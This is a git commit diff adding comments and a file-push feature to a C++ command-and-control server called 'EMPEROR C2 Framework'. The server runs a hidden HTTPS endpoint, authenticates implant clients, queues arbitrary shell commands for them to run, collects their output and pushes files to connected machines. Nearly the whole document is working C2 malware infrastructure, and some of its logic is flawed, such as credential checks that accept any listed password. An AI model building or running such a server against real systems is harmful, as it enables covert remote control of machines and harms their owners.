Added comments and file upload functionality
This commit is contained in:
parent
e160ef6635
commit
51bece6a3d
|
@ -12,206 +12,322 @@ bool bIncomingHey = false;
|
||||||
std::string sIncomingHeyUser;
|
std::string sIncomingHeyUser;
|
||||||
bool bShutdown = false;
|
bool bShutdown = false;
|
||||||
|
|
||||||
std::vector<std::vector<std::string>> retrievecreds(std::string sFile)
|
std::vector<std::vector<std::string>> retrievecreds(std::string sFile) // takes a file path as a parameter and parses the combinations of usernames and passwords from the file for insertion into
|
||||||
|
// a vector of strings
|
||||||
{
|
{
|
||||||
std::vector<std::vector<std::string>> sCreds;
|
std::vector<std::vector<std::string>> sCreds; // define 2d vector of strings for storing creds
|
||||||
std::vector<std::string> sUsernames;
|
std::vector<std::string> sUsernames; // vector of strings for storing usernames
|
||||||
std::vector<std::string> sPasswords;
|
std::vector<std::string> sPasswords; // vector of strings for storing passwords
|
||||||
std::fstream fCreds;
|
std::fstream fCreds; // filestream for reading provided file
|
||||||
fCreds.open("creds", std::ios::in);
|
fCreds.open("creds", std::ios::in); // open file provided in parameter
|
||||||
char ch;
|
char ch;
|
||||||
bool bUsername = true;
|
bool bUsername = true; // flag used to determine if username is currently being parsed, set to true by default as creds are in the form username:password
|
||||||
std::string sUsername = "";
|
std::string sUsername = ""; // string to store username
|
||||||
std::string sPassword = "";
|
std::string sPassword = ""; // string to store password
|
||||||
|
|
||||||
while (true)
|
while (true) // loop forever
|
||||||
{
|
{
|
||||||
fCreds >> ch;
|
fCreds >> ch;
|
||||||
|
|
||||||
if (fCreds.eof())
|
if (fCreds.eof()) // if the end of the credentials file has been reached
|
||||||
{
|
{
|
||||||
sPasswords.push_back(sPassword);
|
sPasswords.push_back(sPassword); // push the last password back into the vector of passwords
|
||||||
break;
|
break; // and break the loop
|
||||||
}
|
}
|
||||||
|
|
||||||
if (ch == ':')
|
if (ch == ':') // if we have reached the end of the username
|
||||||
{
|
{
|
||||||
bUsername = false;
|
bUsername = false; // set the bUsername flag to false
|
||||||
fCreds >> ch;
|
fCreds >> ch; // retrieve the next char from the file
|
||||||
sUsernames.push_back(sUsername);
|
sUsernames.push_back(sUsername); // add the previous username to the sUsernames vector
|
||||||
sUsername = "";
|
sUsername = ""; // set the sUsername variable to empty
|
||||||
}
|
}
|
||||||
|
|
||||||
if (ch == '\n')
|
if (ch == '\n') // if we have encountered a line break
|
||||||
{
|
{
|
||||||
bUsername = true;
|
bUsername = true; // set the bUsername flag to true
|
||||||
fCreds >> ch;
|
fCreds >> ch; // retrieve the next char from the file
|
||||||
sPasswords.push_back(sPassword);
|
sPasswords.push_back(sPassword); // add the previous password to the sPasswords vector
|
||||||
sPassword = "";
|
sPassword = ""; // set the sPassword variable to empty
|
||||||
}
|
}
|
||||||
|
|
||||||
if (bUsername)
|
if (bUsername) // if the bUsername flag is true
|
||||||
{
|
{
|
||||||
sUsername += ch;
|
sUsername += ch; // then append the retrieved char to the sUsername string
|
||||||
}
|
}
|
||||||
else
|
else // if the bUsername flag is false
|
||||||
{
|
{
|
||||||
sPassword += ch;
|
sPassword += ch; // then append the retrieved char to the sPassword string
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
sCreds.push_back(sUsernames);
|
sCreds.push_back(sUsernames); // add the sUsernames vector to the sCreds 2d vector
|
||||||
sCreds.push_back(sPasswords);
|
sCreds.push_back(sPasswords); // add the sPasswords vector to the sCreds 2d vector
|
||||||
return sCreds;
|
return sCreds; // return the sCreds 2d vector
|
||||||
}
|
}
|
||||||
|
|
||||||
std::vector<std::vector<std::string>> sCreds = retrievecreds("creds");
|
std::vector<std::vector<std::string>> sCreds = retrievecreds("creds"); // call the retrievecreds function with the filename "creds" as a parameter and save the returned vector to a 2d vector called
|
||||||
|
// sCreds
|
||||||
|
|
||||||
std::map<std::string, bool> defaultUserConnections(std::vector<std::vector<std::string>> sCreds)
|
std::map<std::string, bool> createUserConnections(std::vector<std::vector<std::string>> sCreds) // takes a vector of strings containing the listed credentials and creates a dictionary containing the
|
||||||
|
// username of the registered client as the key and a false boolean for later use
|
||||||
{
|
{
|
||||||
std::map<std::string, bool> mConnections;
|
std::map<std::string, bool> mConnections; // define mConnections, a map containing string as the key and bool as the value
|
||||||
for (int iUsernameIndex = 0; iUsernameIndex < sCreds[0].size(); iUsernameIndex++)
|
|
||||||
|
for (int iUsernameIndex = 0; iUsernameIndex < sCreds[0].size(); iUsernameIndex++) // for each username in the list of credentials
|
||||||
{
|
{
|
||||||
mConnections[sCreds[0][iUsernameIndex]] = false;
|
mConnections[sCreds[0][iUsernameIndex]] = false; // set the value of the username to an empty string
|
||||||
}
|
}
|
||||||
return mConnections;
|
return mConnections; // return the map
|
||||||
}
|
}
|
||||||
|
|
||||||
std::map<std::string, std::string> defaultUserComms(std::vector<std::vector<std::string>> sCreds)
|
std::map<std::string, std::string> createUserComms(std::vector<std::vector<std::string>> sCreds) // creates a dictionary containing the username of the registered client
|
||||||
|
// as the key and an empty value for later use
|
||||||
{
|
{
|
||||||
std::map<std::string, std::string> mComms;
|
std::map<std::string, std::string> mComms; // define mComms, a map containing string as the key and value
|
||||||
for (int iUsernameIndex = 0; iUsernameIndex < sCreds[0].size(); iUsernameIndex++)
|
|
||||||
|
for (int iUsernameIndex = 0; iUsernameIndex < sCreds[0].size(); iUsernameIndex++) // for each username in the list of credentials
|
||||||
{
|
{
|
||||||
mComms[sCreds[0][iUsernameIndex]] = "";
|
mComms[sCreds[0][iUsernameIndex]] = ""; // set the value of the username to an empty string
|
||||||
}
|
}
|
||||||
return mComms;
|
return mComms; // return the map
|
||||||
}
|
}
|
||||||
|
|
||||||
std::map<std::string, std::string> mCommands = defaultUserComms(sCreds);
|
std::map<std::string, std::string> mCommands = createUserComms(sCreds); // call the createUserComms function with the 2d vector sCreds as an argument, saving the returned map of strings to
|
||||||
|
// mCommands
|
||||||
|
|
||||||
std::map<std::string, std::string> mResults = defaultUserComms(sCreds);
|
std::map<std::string, std::string> mResults = createUserComms(sCreds); // call the createUserComms function with the 2d vector sCreds as an argument, saving the returned map of string to
|
||||||
|
// mResults
|
||||||
|
|
||||||
std::string listUserConnections(std::map<std::string, bool> mConnections)
|
std::map<std::string, std::string> mInFiles = createUserComms(sCreds); // call the createUserComms function with the 2d vector sCreds as an argument, saving the returned map of string to mInFiles
|
||||||
|
|
||||||
|
std::map<std::string, std::string> mOutFiles = createUserComms(sCreds); // call the createUserComms function with the 2d vector sCreds as an argument, saving the returned map of string to mOutFiles
|
||||||
|
|
||||||
|
std::map<std::string, bool> mConnections = createUserConnections(sCreds); // call the defaultUserConnections function with the 2d vector sCreds as an argument, saving the returned map of
|
||||||
|
// string and bool to mConnections
|
||||||
|
|
||||||
|
std::string listUserConnections(std::map<std::string, bool> mConnections) // iterates through the provided mConnections map, checking if the value for a username is true and if so, it adds the
|
||||||
|
// username along with a string which confirms the client is active to the oss, which is returned as string
|
||||||
{
|
{
|
||||||
std::ostringstream oss;
|
std::ostringstream oss; // declare ostringstream oss for later use as a dynamic string
|
||||||
for (auto const &[key, val] : mConnections)
|
for (auto const &[key, val] : mConnections) // for each key and value in mConnections, assign these to variables key and val
|
||||||
{
|
{
|
||||||
if (val == true)
|
if (val == true) // if the value for the key is true
|
||||||
{
|
{
|
||||||
oss << key << " is active.\n";
|
oss << key << " is active.\n"; // then add the key to the oss as well as a string to confirm the client is active
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
std::string sConnections = oss.str();
|
std::string sConnections = oss.str(); // convert oss to string
|
||||||
return sConnections;
|
return sConnections; // return the converted string
|
||||||
}
|
}
|
||||||
|
|
||||||
std::map<std::string, bool> mConnections = defaultUserConnections(sCreds);
|
class command_and_control : public httpserver::http_resource // class for command and control http resource
|
||||||
|
|
||||||
class command_and_control : public httpserver::http_resource
|
|
||||||
{
|
{
|
||||||
public:
|
public:
|
||||||
bool verifycreds(std::vector<std::vector<std::string>> sCreds, std::string sUsername, std::string sPassword)
|
bool verifycreds(std::vector<std::vector<std::string>> sCreds, std::string sUsername, std::string sPassword) // takes 2d vector sCreds along with the provided username and password from the
|
||||||
|
// client in order to verify their credentials, returns true if successful
|
||||||
{
|
{
|
||||||
for (int iUsernameIndex = 0; iUsernameIndex < sCreds[0].size(); iUsernameIndex++)
|
for (int iUsernameIndex = 0; iUsernameIndex < sCreds[0].size(); iUsernameIndex++) // for each username in sCreds
|
||||||
{
|
{
|
||||||
if (sCreds[0][iUsernameIndex] == sUsername)
|
if (sCreds[0][iUsernameIndex] == sUsername) // if the selected username in the vector matches the username provided by the client
|
||||||
{
|
{
|
||||||
for (int iPasswordIndex = 0; iPasswordIndex < sCreds[1].size(); iPasswordIndex++)
|
for (int iPasswordIndex = 0; iPasswordIndex < sCreds[1].size(); iPasswordIndex++) // for each password in sCreds
|
||||||
{
|
{
|
||||||
if (sCreds[1][iPasswordIndex] == sPassword)
|
if (sCreds[1][iPasswordIndex] == sPassword) // if the selected password in the vector matches the password provided by the client
|
||||||
{
|
{
|
||||||
return true;
|
return true; // then return true
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return false;
|
return false; // otherwise return false
|
||||||
}
|
}
|
||||||
|
|
||||||
const std::shared_ptr<httpserver::http_response> render(const httpserver::http_request &req)
|
const std::shared_ptr<httpserver::http_response> render(const httpserver::http_request &req) // responsible for rendering the http response from the server
|
||||||
{
|
{
|
||||||
if (verifycreds(sCreds, req.get_user(), req.get_pass()))
|
if (verifycreds(sCreds, req.get_user(), req.get_pass())) // if the provided http auth credentials from the client are in the sCreds 2d vector
|
||||||
{
|
{
|
||||||
if (req.get_method() == "POST")
|
if (req.get_method() == "POST") // if the method used is post
|
||||||
{
|
{
|
||||||
if (req.get_arg("msg") == "ready")
|
if (req.get_arg("msg") == "ready") // if the client is initiating a connection
|
||||||
{
|
{
|
||||||
std::ostringstream oss;
|
std::ostringstream oss; // declare ostringstream oss for response creation
|
||||||
oss << "user=" << req.get_user() << "&msg=acknowledged";
|
oss << "user=" << req.get_user() << "&msg=acknowledged"; // add specific response for client to confirm connection has been established
|
||||||
std::string sResponse = oss.str();
|
std::string sResponse = oss.str(); // convert oss to string
|
||||||
bIncomingHey = true;
|
bIncomingHey = true; // set the bIncomingHey flag to true
|
||||||
sIncomingHeyUser = req.get_user();
|
sIncomingHeyUser = req.get_user(); // set the sIncomingHeyUser string to the value of the username used by the client
|
||||||
mConnections[req.get_user()] = true;
|
mConnections[req.get_user()] = true; // set the connection value of the user in question to true
|
||||||
return std::shared_ptr<httpserver::http_response>(new httpserver::string_response(sResponse));
|
return std::shared_ptr<httpserver::http_response>(new httpserver::string_response(sResponse)); // return the generated response to the client
|
||||||
}
|
}
|
||||||
if (req.get_arg("msg") == "reqcmd")
|
else if (req.get_arg("msg") == "reqcmd") // if the client is requesting a command from the server
|
||||||
{
|
{
|
||||||
if (mCommands[req.get_user()] != "")
|
if (mCommands[req.get_user()] != "") // if there is a command waiting to be executed from the server
|
||||||
{
|
{
|
||||||
std::ostringstream oss;
|
std::ostringstream oss; // declare ostringstream oss for response creation
|
||||||
oss << "run=" << mCommands[req.get_user()];
|
oss << "run=" << mCommands[req.get_user()]; // add command to the oss
|
||||||
return std::shared_ptr<httpserver::http_response>(new httpserver::string_response(oss.str()));
|
return std::shared_ptr<httpserver::http_response>(new httpserver::string_response(oss.str())); // return the generated response to the client
|
||||||
}
|
}
|
||||||
else
|
|
||||||
|
else if (mOutFiles[req.get_user()] != "") // if there is a file waiting to be downloaded from the server
|
||||||
{
|
{
|
||||||
return std::shared_ptr<httpserver::http_response>(new httpserver::string_response("msg=nocmd"));
|
std::ostringstream oss; // declare ostringstream for response creation
|
||||||
|
oss << "out=" << mOutFiles[req.get_user()]; // add filename and file content to the oss
|
||||||
|
return std::shared_ptr<httpserver::http_response>(new httpserver::string_response(oss.str())); // return the generated response to the client
|
||||||
|
}
|
||||||
|
|
||||||
|
else // otherwise
|
||||||
|
{
|
||||||
|
return std::shared_ptr<httpserver::http_response>(new httpserver::string_response("msg=nocmd")); // tell the client there is no command in the queue
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
if (req.get_arg("result") != "")
|
|
||||||
|
else if (req.get_arg("msg") == "saved")
|
||||||
{
|
{
|
||||||
mCommands[req.get_user()] = "";
|
std::cout << "Client " << req.get_user() << " successfully saved the file." << std::endl;
|
||||||
mResults[req.get_user()] = req.get_arg("result");
|
mOutFiles[req.get_user()] = "";
|
||||||
std::ostringstream oss;
|
}
|
||||||
oss << "user=" << req.get_user() << "&msg=acknowledged";
|
|
||||||
std::string sResponse = oss.str();
|
else if (req.get_arg("msg") == "error")
|
||||||
return std::shared_ptr<httpserver::http_response>(new httpserver::string_response(sResponse));
|
{
|
||||||
|
std::cout << "Client " << req.get_user() << " encountered an error whilst saving the file." << std::endl;
|
||||||
|
mOutFiles[req.get_user()] = "";
|
||||||
|
}
|
||||||
|
|
||||||
|
else if (req.get_arg("result") != "") // if the client has submitted a result from a command
|
||||||
|
{
|
||||||
|
mCommands[req.get_user()] = ""; // the value for the client in the mCommands map should be set to empty
|
||||||
|
mResults[req.get_user()] = req.get_arg("result"); // the value for the cleit in the mResults map should be set to the returned result
|
||||||
|
std::ostringstream oss; // declare osstringstream oss for response creation
|
||||||
|
oss << "user=" << req.get_user() << "&msg=acknowledged"; // add specific response for client to confirm that the result from the command was recieved
|
||||||
|
std::string sResponse = oss.str(); // convert oss to string
|
||||||
|
return std::shared_ptr<httpserver::http_response>(new httpserver::string_response(sResponse)); // return the generated response to the client
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return std::shared_ptr<httpserver::http_response>(new httpserver::string_response("Not found"));
|
return std::shared_ptr<httpserver::http_response>(new httpserver::string_response("Not found")); // otherwise return not found
|
||||||
}
|
}
|
||||||
};
|
};
|
||||||
|
|
||||||
void checkConnections()
|
void checkConnections() // checks if there is an incoming connection from a client, if there is then the function prints out a message stating the username connecting
|
||||||
{
|
{
|
||||||
while (!bShutdown)
|
while (!bShutdown) // whilst the server is not shutting down
|
||||||
{
|
{
|
||||||
if (bIncomingHey)
|
if (bIncomingHey) // if the bIncomingHey flag is true
|
||||||
{
|
{
|
||||||
std::cout << "\nIncoming connection from " << sIncomingHeyUser << "\n[EMPEROR]>" << std::flush;
|
std::cout << "\nIncoming connection from " << sIncomingHeyUser << "\n[EMPEROR]>" << std::flush; // then print incoming connection from, with the username and finally
|
||||||
bIncomingHey = false;
|
// print the prompt on the next line
|
||||||
sIncomingHeyUser = "";
|
bIncomingHey = false; // set the bIncomingHey flag to false
|
||||||
|
sIncomingHeyUser = ""; // set the sIncomingHeyUser string to empty
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
void interactConnection(std::string sIdentifier)
|
bool uploadFile(std::string sFilename, std::string sUsername)
|
||||||
{
|
{
|
||||||
std::string sCommand;
|
std::string sContent; // declare string sContent for later use
|
||||||
std::cout << "Starting interaction with " << sIdentifier << std::endl;
|
sContent += sFilename + '\n'; // append filename along with a linebreak to the file content for use by the client
|
||||||
while (true)
|
std::ifstream fFile; // declare ifstream fFile for later use
|
||||||
|
fFile.open(sFilename); // open the file provided as an argument
|
||||||
|
char ch; // declare char for reading file
|
||||||
|
while (fFile) // whilst the end of the file has not been reached
|
||||||
{
|
{
|
||||||
std::cout << "[EMPEROR - " << sIdentifier << "]>";
|
ch = fFile.get(); // get the next char from the file
|
||||||
std::getline(std::cin, sCommand);
|
sContent += ch; // append it to the sContent string
|
||||||
|
}
|
||||||
|
|
||||||
if (sCommand == ":q")
|
if (sContent != "") // if the file was successfully read
|
||||||
|
{
|
||||||
|
mOutFiles[sUsername] = sContent; // then set the value of the username key in the mOutFiles map to the parsed content of the file
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
else // otherwise
|
||||||
|
{
|
||||||
|
return false; // the file was not successfully read
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void downloadFile(std::string sContent, std::string sUsername)
|
||||||
|
{
|
||||||
|
std::ofstream fFile; // declare ifstream fFile for later use
|
||||||
|
std::string sFilename; // declare string sFilename for later use
|
||||||
|
|
||||||
|
for (int i = 0; i < sContent.length() - 1; i++) // for each char in the sContent string
|
||||||
|
{
|
||||||
|
if (sContent[i] == '\n') // if the selected char is a line break
|
||||||
{
|
{
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
mCommands[sIdentifier] = sCommand;
|
sFilename += sContent[i]; // add the selected char to the sFilename string
|
||||||
std::cout << "Command sent, awaiting response..." << std::endl;
|
}
|
||||||
while (mResults[sIdentifier].empty())
|
|
||||||
|
fFile.open(sFilename); // creatr file with provided filename
|
||||||
|
fFile << sContent; // write file content to file
|
||||||
|
}
|
||||||
|
|
||||||
|
void interactConnection(std::string sIdentifier) // begin issuing commands to the client provided as a parameter
|
||||||
|
{
|
||||||
|
std::string sCommand; // declare sCommand string to store command input
|
||||||
|
std::cout << "Starting interaction with " << sIdentifier << std::endl; // show the connection that the user is beginning interaction with
|
||||||
|
while (true) // loop forever
|
||||||
|
{
|
||||||
|
std::cout << "[EMPEROR - " << sIdentifier << "]>"; // print prompt with username of connected client
|
||||||
|
std::getline(std::cin, sCommand); // get user input
|
||||||
|
std::regex rUpload(":u "); // compile upload regex for later use
|
||||||
|
|
||||||
|
if (sCommand == ":q") // if the command is quit
|
||||||
{
|
{
|
||||||
continue;
|
break; // exit the interactive connection
|
||||||
|
}
|
||||||
|
else if (std::regex_search(sCommand, rUpload)) // if the command is upload
|
||||||
|
{
|
||||||
|
bool bFilename = false; // declare bool bFilename flag which is set to false by default
|
||||||
|
bool bResult; // declare bool bResult for later use
|
||||||
|
std::string sFilename; // declare string sFilename for later use
|
||||||
|
for (int i = 0; i < sCommand.length(); i++) // for each char in sCommand string
|
||||||
|
{
|
||||||
|
if (bFilename) // if the filename is currently being parsed
|
||||||
|
{
|
||||||
|
sFilename += sCommand[i]; // add the currently selected char to the sFilename string
|
||||||
|
}
|
||||||
|
|
||||||
|
if (sCommand[i] == ' ') // if the currently selected char is a space
|
||||||
|
{
|
||||||
|
bFilename = true; // set the bFilename flag to true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
bResult = uploadFile(sFilename, sIdentifier); // call the uploadFile function with the filename and identifier as parameters, saving the return to the bResult bool
|
||||||
|
|
||||||
|
if (bResult) // if the uploadFile function returned true
|
||||||
|
{
|
||||||
|
std::cout << "Command sent, awaiting response..." << std::endl; // tell the user that the command has been added to the queue and is awaiting a response
|
||||||
|
while (!mOutFiles[sIdentifier].empty()) // whilst the file has not been removed from the mOutFiles array
|
||||||
|
{
|
||||||
|
continue; // do nothing and block further execution
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else // otherwise
|
||||||
|
{
|
||||||
|
std::cout << "The provided file does not exist or cannot be read." << std::endl; // tell the user the file provided could not be read
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else // otherwise
|
||||||
|
{
|
||||||
|
mCommands[sIdentifier] = sCommand; // add the command to the value for the username key in the mCommands map
|
||||||
|
std::cout << "Command sent, awaiting response..." << std::endl; // tell the user that the command has been added to the queue and is awaiting a response
|
||||||
|
while (mResults[sIdentifier].empty()) // whilst the client has not submitted a result for the command
|
||||||
|
{
|
||||||
|
continue; // do nothing and block further execution
|
||||||
|
}
|
||||||
|
std::cout << "Result: " << mResults[sIdentifier] << std::endl; // when the response is submitted, print the result to the user from the mResults map
|
||||||
|
mResults[sIdentifier] = ""; // set the value of the key for the client in question to an empty string
|
||||||
}
|
}
|
||||||
std::cout << "Result: " << mResults[sIdentifier] << std::endl;
|
|
||||||
mResults[sIdentifier] = "";
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
void prompt()
|
void prompt()
|
||||||
{
|
{
|
||||||
std::cout << "========== EMPEROR C2 Framework==========" << std::endl;
|
std::cout << "========== EMPEROR C2 Framework ==========" << std::endl;
|
||||||
std::cout << R"( _____
|
std::cout << R"( _____
|
||||||
,888888b.
|
,888888b.
|
||||||
.d888888888b
|
.d888888888b
|
||||||
|
@ -238,65 +354,70 @@ void prompt()
|
||||||
<,--''`.._>8888(
|
<,--''`.._>8888(
|
||||||
`>__...--' `''` )"
|
`>__...--' `''` )"
|
||||||
<< std::endl;
|
<< std::endl;
|
||||||
std::cout << "=========================================" << std::endl;
|
std::cout << "=========================================" << std::endl; // print out fancy splash screen for server
|
||||||
std::string sCommand;
|
std::string sCommand; // declare string sCommand for storing user input
|
||||||
while (true)
|
while (true) // loop forever
|
||||||
{
|
{
|
||||||
std::cout << "[EMPEROR]>";
|
std::cout << "[EMPEROR]>"; // print prompt
|
||||||
std::getline(std::cin, sCommand);
|
std::getline(std::cin, sCommand); // get input to sCommand string
|
||||||
std::regex rConnect("connect ");
|
std::regex rConnect("connect "); // compile rConnect regex
|
||||||
|
|
||||||
if (sCommand == "connections")
|
if (sCommand == "connections") // if the user wants to list the current connections
|
||||||
{
|
{
|
||||||
std::cout << listUserConnections(mConnections);
|
std::cout << listUserConnections(mConnections); // then call the listUserConnections function with the argument of the mConnections map and print the return from the function
|
||||||
}
|
}
|
||||||
|
|
||||||
if (std::regex_search(sCommand, rConnect))
|
if (std::regex_search(sCommand, rConnect)) // if the user is trying to interact with a specific connection
|
||||||
{
|
{
|
||||||
std::vector<std::string> sCommands;
|
std::vector<std::string> sCommands; // declare a vector of strings sCommands which is used to store the command after it has been split
|
||||||
std::string sSplit;
|
std::string sSplit; // declare string sSplit for storing each section of the split string
|
||||||
for (int i = 0; i < sCommand.length(); i++)
|
for (int i = 0; i < sCommand.length(); i++) // for each char in the sCommand string
|
||||||
{
|
{
|
||||||
if (sCommand[i] == ' ')
|
if (sCommand[i] == ' ') // if the char is a space
|
||||||
{
|
{
|
||||||
sCommands.push_back(sSplit);
|
sCommands.push_back(sSplit); // add the sSplit string to the sCommands vector
|
||||||
if (sCommands.size() > 2)
|
/*if (sCommands.size() >= 2) // if the sCommands vector has two strings
|
||||||
{
|
{
|
||||||
break;
|
break; // then break out of the for loop
|
||||||
}
|
}*/
|
||||||
sSplit = "";
|
sSplit = ""; // set the sSplit string to empty
|
||||||
}
|
}
|
||||||
else
|
else // otherwise
|
||||||
{
|
{
|
||||||
sSplit.push_back(sCommand[i]);
|
sSplit.push_back(sCommand[i]); // add the currently selected char from the sCommand string to the sSplit string
|
||||||
if (i == (sCommand.length() - 1))
|
if (i == (sCommand.length() - 1)) // if the end of the sCommand string has been reached
|
||||||
{
|
{
|
||||||
sCommands.push_back(sSplit);
|
sCommands.push_back(sSplit); // add the sSplit string to the sCommands vector
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
if (mConnections[sCommands[1]])
|
if (mConnections[sCommands[1]]) // if the client which the user wishes to interact with has an active connection
|
||||||
{
|
{
|
||||||
interactConnection(sCommands[1]);
|
interactConnection(sCommands[1]); // then begin interacting with the connection, providing interactConnection with the username of the client in question
|
||||||
|
}
|
||||||
|
else // otherwise
|
||||||
|
{
|
||||||
|
std::cout << "That client is not currently connected." << std::flush; // tell the user the client is not currently connected
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
if (sCommand == "q" || sCommand == "quit" || sCommand == "exit")
|
if (sCommand == "q" || sCommand == "quit" || sCommand == "exit") // if the user wishes to quit
|
||||||
{
|
{
|
||||||
bShutdown = true;
|
bShutdown = true; // set the bShutdown flag to true
|
||||||
break;
|
break; // break out of the while loop
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
int main(int argc, char **argv)
|
int main(int argc, char **argv)
|
||||||
{
|
{
|
||||||
command_and_control c2;
|
command_and_control c2; // instanciate the command and control class
|
||||||
httpserver::webserver ws = httpserver::create_webserver(8665).use_ssl().https_mem_key("server.key").https_mem_cert("server.crt");
|
httpserver::webserver ws = httpserver::create_webserver(8665).use_ssl().https_mem_key("server.key").https_mem_cert("server.crt"); // create the webserver, ensuring ssl is enabled and
|
||||||
ws.register_resource("/YVDvOraEcGwPAyjuBFzGespbRzifTpi", &c2);
|
// the server is using the provided crt and key
|
||||||
ws.start(false);
|
ws.register_resource("/YVDvOraEcGwPAyjuBFzGespbRzifTpi", &c2); // register the c2 resource at a randomly generated URL
|
||||||
std::thread tCheck(checkConnections);
|
ws.start(false); // start the webserver in non-blocking mode
|
||||||
prompt();
|
std::thread tCheck(checkConnections); // run checkConnections in a new thread
|
||||||
tCheck.join();
|
prompt(); // run the interactive prompt
|
||||||
|
tCheck.join(); // after the prompt has exited, wait for the checkConnections thread to end
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
Loading…
Reference in New Issue